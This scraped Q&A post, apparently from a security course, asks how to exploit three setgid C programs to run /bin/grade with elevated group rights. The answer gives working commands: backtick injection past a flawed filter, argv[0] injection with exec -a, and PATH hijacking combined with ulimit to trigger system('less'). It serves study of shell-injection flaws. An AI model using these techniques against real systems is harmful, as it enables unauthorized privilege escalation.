c - How can I use the set-guid (i.e., set group identification) vulnerability to execute a file with limited permissions? -
how can use set-guid bit vulnerability execute file /bin/grade
owned root
using following 3 vulnerable programs? not root nor part of bsp* groups access programs limited read & execute only. file /bin/grade
, have read access, want execute group bsp*.
-rwxr-sr-x 1 root bsp3 9673 sep 25 2012 prog2 -rwxr-sr-x 1 root bsp4 10724 sep 25 2012 prog3 -rwxr-sr-x 1 root bsp5 9557 sep 25 2012 prog4
the 3 programs binaries contain following c code:
//prog2:
int main(int argc, char **argv) { /* set command buffer */ char cmdbuf[128] = "export ifs=' \t\n'; /usr/bin/file "; char *input = cmdbuf + strlen(cmdbuf); int len = sizeof(cmdbuf) - (strlen(cmdbuf) + 1); gid_t egid = getegid(); setregid(egid, egid); /* read input -- use safe function prevent buffer overrun */ fprintf(stdout, "please enter filename: "); fgets(input, len, stdin); /* sanitize input -- replace unsafe shell characters */ (; *input != '\0'; ++input) { switch (*input) { case '|': case '&': case '<': case '>': case '!': case '$': case ';': *input = ' '; break; } } /* execute command */ system(cmdbuf); return 0; }
//prog3:
char cmdbuf[128] = "echo interrupt signal caught, terminating "; char *progname; /* * handle ^c keyboard interrupt in case program running * long , user terminates. */ void handle_signal(int sig) { int len = sizeof(cmdbuf) - (strlen(cmdbuf) + 1); if (strlen(progname) > len) progname[len] = '\0'; strcat(cmdbuf, progname); system(cmdbuf); exit(1); } void usage() { printf("%s <n> 0 < n <= 5.000\n", progname); exit(1); } /* * program takes 1 argument line parameter n (which has * positive integer input parameter) , prints out first n * prime numbers. */ int main(int argc, char **argv) { struct sigaction sa; int cnt, n, found; unsigned long candidate, divisor; gid_t egid = getegid(); setregid(egid, egid); /* set signal handling */ memset(&sa, sizeof(struct sigaction), 0); sa.sa_handler = handle_signal; sigaction(sigint, &sa, null); /* process argument */ progname = argv[0]; if (argc != 2) usage(); n = strtol(argv[1], null, 10); if ((n <= 0) || (n > 5000)) usage(); /* calculate prime numbers -- simple sieve */ candidate = 1; (cnt = 0; cnt < n; ++cnt) { (;;) { found = 1; divisor = 2; candidate += 1; while (divisor <= candidate/2) { if ((candidate % divisor) == 0) { found = 0; break; } else ++divisor; } if (found) break; } printf("%ld\n", candidate); } return 0; }
//prog4:
int main(int argc, char **argv) { file *file = fopen("/etc/passwd","r"); if (file==null) { printf("oh no, first open failed!\n"); system("less /usr/local/share/error.txt"); /* mayday mayday! bailing out */ exit(1); } file *file2 = fopen("/etc/passwd","r"); if (file2==null) { fclose(file); printf("oh no, second open failed!\n"); system("less /usr/local/share/error.txt"); /* mayday mayday! bailing out */ exit(1); } file *file3 = fopen("/etc/passwd","r"); if (file3==null) { fclose(file); fclose(file2); printf("oh no, third open failed!\n"); system("less /usr/local/share/error.txt"); /* mayday mayday! bailing out */ exit(1); } file *file4 = fopen("/etc/passwd","r"); if (file4==null) { fclose(file); fclose(file2); fclose(file3); printf("oh no, fourth open failed!\n"); system("less /usr/local/share/error.txt"); /* mayday mayday! bailing out */ exit(1); } /* imagine doing important , useful here... */ printf("i managed open /etc/passwd file 4 times! king yeahaaaa!\n\n"); printf("never think you've seen last of anything. eudora welty\n\n"); return 0; }
this problem can solved exploiting shell injection vulnerabilities.
for prog2:
$ /usr/local/bin/prog2
when prompted, enter /bin/grade
file name within special character ` sanitiser forgot address.
for prog3:
$ exec -a “;/bin/grade” /usr/local/bin/prog3 5000
but have hit ctrl+c
interrupt signal function called.
for prog4:
$ cd ~/ $ export path=/path/to/your/home:$path //prepend path current/home directory system looks there `less` $ ln -s -f /bin/grade less $ ulimit -n 6 $ /usr/local/bin/prog4
Comments
Post a Comment